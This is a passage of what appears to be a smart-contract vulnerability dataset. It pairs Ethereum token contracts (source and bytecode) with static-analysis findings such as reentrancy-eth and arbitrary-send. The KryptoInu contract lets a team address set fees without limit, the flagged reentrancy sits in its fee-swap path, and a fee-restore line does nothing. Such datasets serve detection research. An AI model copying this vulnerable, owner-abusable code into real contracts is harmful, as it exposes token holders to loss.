b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a9957611a99611a6f565b5060010190565b600060208284031215611ab257600080fd5b81516111828161181d565b600080600060608486031215611ad257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611afd57600080fd5b8151611182816118cc565b60008219821115611b1b57611b1b611a6f565b500190565b600082821015611b3257611b32611a6f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b875784516001600160a01b031683529383019391830191600101611b62565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bc557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611be457611be4611a6f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122081593857a326e04212701b0e3b1b00624a01dc06cd47d65ac7767e1a50c08d4764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
68
0x1d26f62cfad7e6b64aac06859a8e76224cb1a8f4
/** *Submitted for verification at Etherscan.io on 2022-03-06 */ /* https://t.me/KryptoInuCoin https://KryptoInu.info Kryptomics : - 1,000,000,000,000 Total Supply - 0,5% transaction limit on launch - Sells limited to 5% of the Liquidity Pool, <4.9% price impact Taxes & fees : Buys : - 2% redistribution to holders on all buys - 6% developer fee split within the team Sells : - 5% redistribution to holders on first sell and 7% on 2+ sells within 1h - 10% developer & marketing fee on first sell and 15% on 2+ sells within 1h Bot Protection : - Buy limit on launch and cooldown timer on buys ( 30 seconds ) SPDX-License-Identifier: MIT */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract KryptoInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"KRYPTO INU"; string private constant _symbol = "KRYPTO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function setFee(uint256 multiplier) private { if (multiplier > 0) { _taxFee = _taxFee + 2; _teamFee = _teamFee + 5; } } function setTaxFee(uint taxFee, uint teamFee) external { require(_msgSender() == _teamAddress); _taxFee = taxFee; _teamFee = teamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _taxFee = 2; _teamFee = 6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(5).div(100) && amount <= _maxTxAmount); if(firstsell[from] + (1 hours) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 5000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner(){ require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063c552849011610064578063c5528490146102e8578063c9567bf914610308578063d543dbeb1461031d578063dd62ed3e1461033d578063e8078d941461038357600080fd5b80638da5cb5b1461025c57806395d89b4114610284578063a9059cbb146102b3578063c3c8cd80146102d357600080fd5b8063313ce567116100dc578063313ce567146101d45780635932ead1146101f05780636fc3eaec1461021257806370a0823114610227578063715018a61461024757600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a8152694b525950544f20494e5560b01b60208201525b604051610155919061182f565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611899565b610398565b6040519015158152602001610155565b34801561019a57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101c057600080fd5b5061017e6101cf3660046118c5565b6103af565b3480156101e057600080fd5b5060405160098152602001610155565b3480156101fc57600080fd5b5061021061020b366004611914565b610418565b005b34801561021e57600080fd5b50610210610469565b34801561023357600080fd5b506101a6610242366004611931565b610496565b34801561025357600080fd5b506102106104b8565b34801561026857600080fd5b506000546040516001600160a01b039091168152602001610155565b34801561029057600080fd5b506040805180820190915260068152654b525950544f60d01b6020820152610148565b3480156102bf57600080fd5b5061017e6102ce366004611899565b61052c565b3480156102df57600080fd5b50610210610539565b3480156102f457600080fd5b5061021061030336600461194e565b61056f565b34801561031457600080fd5b5061021061059a565b34801561032957600080fd5b50610210610338366004611970565b6105ef565b34801561034957600080fd5b506101a6610358366004611989565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038f57600080fd5b506102106106c2565b60006103a5338484610a2f565b5060015b92915050565b60006103bc848484610b53565b61040e843361040985604051806060016040528060288152602001611b88602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611093565b610a2f565b5060019392505050565b6000546001600160a01b0316331461044b5760405162461bcd60e51b8152600401610442906119c2565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461048957600080fd5b47610493816110cd565b50565b6001600160a01b0381166000908152600260205260408120546103a990611152565b6000546001600160a01b031633146104e25760405162461bcd60e51b8152600401610442906119c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a5338484610b53565b600f546001600160a01b0316336001600160a01b03161461055957600080fd5b600061056430610496565b9050610493816111d6565b600f546001600160a01b0316336001600160a01b03161461058f57600080fd5b600891909155600955565b6000546001600160a01b031633146105c45760405162461bcd60e51b8152600401610442906119c2565b601254600160a81b900460ff166105da57600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106195760405162461bcd60e51b8152600401610442906119c2565b600081116106695760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610442565b6106876064610681683635c9adc5dea000008461135f565b906113de565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146106ec5760405162461bcd60e51b8152600401610442906119c2565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107293082683635c9adc5dea00000610a2f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076257600080fd5b505afa158015610776573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079a91906119f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e257600080fd5b505afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906119f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086257600080fd5b505af1158015610876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089a91906119f7565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306108ca81610496565b6000806108df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094257600080fd5b505af1158015610956573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097b9190611a14565b50506012805463ffff00ff60a81b198116630101000160a81b17909155674563918244f4000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f357600080fd5b505af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190611a42565b5050565b6001600160a01b038316610a915760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610af25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610c195760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610c7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6000546001600160a01b03848116911614801590610ca757506000546001600160a01b03838116911614155b1561103657601254600160c01b900460ff1615610d8e576001600160a01b0383163014801590610ce057506001600160a01b0382163014155b8015610cfa57506011546001600160a01b03848116911614155b8015610d1457506011546001600160a01b03838116911614155b15610d8e576011546001600160a01b0316336001600160a01b03161480610d4e57506012546001600160a01b0316336001600160a01b0316145b610d8e5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610442565b6001600160a01b0383166000908152600a602052604090205460ff16158015610dd057506001600160a01b0382166000908152600a602052604090205460ff16155b610dd957600080fd5b6012546001600160a01b038481169116148015610e0457506011546001600160a01b03838116911614155b8015610e2957506001600160a01b03821660009081526005602052604090205460ff16155b8015610e3e5750601254600160c01b900460ff165b15610ebb57601254600160a01b900460ff16610e5957600080fd5b601354811115610e6857600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e8c57600080fd5b610e9742601e611a75565b6001600160a01b0383166000908152600b6020526040902055600260085560066009555b6000610ec630610496565b601254909150600160b01b900460ff16158015610ef157506012546001600160a01b03858116911614155b8015610f065750601254600160b81b900460ff165b1561103457601254610f349060649061068190600590610f2e906001600160a01b0316610496565b9061135f565b8211158015610f4557506013548211155b610f4e57600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f7590610e10611a75565b1015610f95576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054610ff7576001600160a01b0384166000908152600e60205260408120805491610fd683611a8d565b90915550506001600160a01b0384166000908152600d602052604090204290555b611000816111d6565b47801561101057611010476110cd565b6001600160a01b0385166000908152600e602052604090205461103290611420565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061107857506001600160a01b03831660009081526005602052604090205460ff165b15611081575060005b61108d8484848461144b565b50505050565b600081848411156110b75760405162461bcd60e51b8152600401610442919061182f565b5060006110c48486611aa8565b95945050505050565b600f546001600160a01b03166108fc6110e78360026113de565b6040518115909202916000818181858888f1935050505015801561110f573d6000803e3d6000fd5b506010546001600160a01b03166108fc61112a8360026113de565b6040518115909202916000818181858888f19350505050158015610a2b573d6000803e3d6000fd5b60006006548211156111b95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b60006111c3611477565b90506111cf83826113de565b9392505050565b6012805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121e5761121e611abf565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561127257600080fd5b505afa158015611286573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112aa91906119f7565b816001815181106112bd576112bd611abf565b6001600160a01b0392831660209182029290920101526011546112e39130911684610a2f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131c908590600090869030904290600401611ad5565b600060405180830381600087803b15801561133657600080fd5b505af115801561134a573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261136e575060006103a9565b600061137a8385611b46565b9050826113878583611b65565b146111cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b60006111cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061149a565b801561049357600854611434906002611a75565b600855600954611445906005611a75565b60095550565b80611458576114586114c8565b6114638484846114eb565b8061108d5761108d6005600855600a600955565b60008060006114846115e2565b909250905061149382826113de565b9250505090565b600081836114bb5760405162461bcd60e51b8152600401610442919061182f565b5060006110c48486611b65565b6008541580156114d85750600954155b156114df57565b60006008819055600955565b6000806000806000806114fd87611624565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061152f9087611681565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155e90866116c3565b6001600160a01b03891660009081526002602052604090205561158081611722565b61158a848361176c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115cf91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115fe82826113de565b82101561161b57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116418a600854600954611790565b9250925092506000611651611477565b905060008060006116648e8787876117df565b919e509c509a509598509396509194505050505091939550919395565b60006111cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611093565b6000806116d08385611a75565b9050838110156111cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b600061172c611477565b9050600061173a838361135f565b3060009081526002602052604090205490915061175790826116c3565b30600090815260026020526040902055505050565b6006546117799083611681565b60065560075461178990826116c3565b6007555050565b60008080806117a46064610681898961135f565b905060006117b760646106818a8961135f565b905060006117cf826117c98b86611681565b90611681565b9992985090965090945050505050565b60008080806117ee888661135f565b905060006117fc888761135f565b9050600061180a888861135f565b9050600061181c826117c98686611681565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561185c57858101830151858201604001528201611840565b8181111561186e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461049357600080fd5b600080604083850312156118ac57600080fd5b82356118b781611884565b946020939093013593505050565b6000806000606084860312156118da57600080fd5b83356118e581611884565b925060208401356118f581611884565b929592945050506040919091013590565b801515811461049357600080fd5b60006020828403121561192657600080fd5b81356111cf81611906565b60006020828403121561194357600080fd5b81356111cf81611884565b6000806040838503121561196157600080fd5b50508035926020909101359150565b60006020828403121561198257600080fd5b5035919050565b6000806040838503121561199c57600080fd5b82356119a781611884565b915060208301356119b781611884565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a0957600080fd5b81516111cf81611884565b600080600060608486031215611a2957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a5457600080fd5b81516111cf81611906565b634e487b7160e01b600052601160045260246000fd5b60008219821115611a8857611a88611a5f565b500190565b6000600019821415611aa157611aa1611a5f565b5060010190565b600082821015611aba57611aba611a5f565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b255784516001600160a01b031683529383019391830191600101611b00565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611b6057611b60611a5f565b500290565b600082611b8257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122061017191df8fdfc69d8570c0ff19789bcef86ef1f2700c16f5213b03c12e95f364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
69
0x4f3e152f24d8d9966c239b408ecd29d75f5b3061
/** *Submitted for verification at Etherscan.io on 2020-11-18 */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal 